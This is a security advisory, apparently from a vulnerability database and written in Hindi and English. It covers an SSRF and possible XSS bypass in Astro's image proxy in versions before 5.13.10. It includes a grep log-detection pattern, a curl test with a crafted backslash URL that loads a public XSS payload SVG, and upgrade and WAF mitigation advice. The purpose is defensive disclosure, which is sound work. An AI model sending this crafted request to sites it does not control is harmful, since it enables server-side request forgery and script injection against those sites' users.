एस्ट्रो की इमेज प्रॉक्सी डोमेन वैलिडेशन बाईपास से SSRF और संभावित XSS

यह XSS भेद्यता हमलावरों को वेबसाइट पर मनमाना JavaScript कोड इंजेक्ट करने की अनुमति देती है, जो उपयोगकर्ताओं को लक्षित कर सकता है। हमलावर कुकीज़ चुरा सकते हैं, संवेदनशील जानकारी पुनर्निर्देशित कर सकते हैं, या वेबसाइट की उपस्थिति को बदल सकते हैं। चूंकि यह CVE-2025-58179 के फ़िक्स को बाईपास करता है, इसलिए यह उन उपयोगकर्ताओं के लिए एक विशेष रूप से गंभीर खतरा है जिन्होंने पहले से ही उस भेद्यता के लिए पैच लागू किया है। बैकस्लैश (\) का उपयोग करके फ़िक्स को बाईपास किया जा सकता है, जिससे हमलावर raw.githubusercontent.com जैसे बाहरी स्रोतों से SVG फ़ाइलें लोड कर सकते हैं, जिसमें दुर्भावनापूर्ण स्क्रिप्ट हो सकती है।

Websites and applications built with Astro that are running versions prior to 5.13.10 are at risk. This includes those relying on image processing or serving content dynamically. Shared hosting environments using Astro are particularly vulnerable, as they may not have control over the underlying server configuration or the ability to quickly apply updates.

• nodejs: Monitor application logs for requests containing backslashes in image URLs, particularly those referencing raw.githubusercontent.com. Use grep to search for patterns like \raw.githubusercontent.com in access logs.

grep '\\raw.githubusercontent.com' /var/log/nginx/access.log

• generic web: Use curl to test image endpoints with crafted URLs containing backslashes. Check for JavaScript execution in the response.

curl 'https://your-astro-site/_image?href=\\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg' -s | grep -i '<script>'

1. 2025-10-28Disclosure

   disclosure

2. 2025-10-28PoC

   poc

1. आरक्षित2025-09-22
2. प्रकाशित2025-10-28
3. संशोधित2025-10-29
4. EPSS अद्यतन2026-03-23

इस भेद्यता को कम करने के लिए, Astro के नवीनतम संस्करण (5.13.10 या बाद का) में अपग्रेड करना आवश्यक है। यदि अपग्रेड करना संभव नहीं है, तो एक वेब एप्लिकेशन फ़ायरवॉल (WAF) का उपयोग करके इमेज कंपोनेंट में आने वाले अनुरोधों को फ़िल्टर करने पर विचार करें। WAF को बैकस्लैश के साथ असामान्य URL पैटर्न को ब्लॉक करने के लिए कॉन्फ़िगर किया जाना चाहिए। इसके अतिरिक्त, सुनिश्चित करें कि आपकी वेबसाइट के सभी निर्भरताएं अप-टू-डेट हैं, क्योंकि अन्य भेद्यताएं भी शोषण के लिए एक मार्ग प्रदान कर सकती हैं। अपग्रेड के बाद, यह सत्यापित करें कि इमेज कंपोनेंट का उपयोग करते समय कोई दुर्भावनापूर्ण स्क्रिप्ट निष्पादित नहीं हो रही है।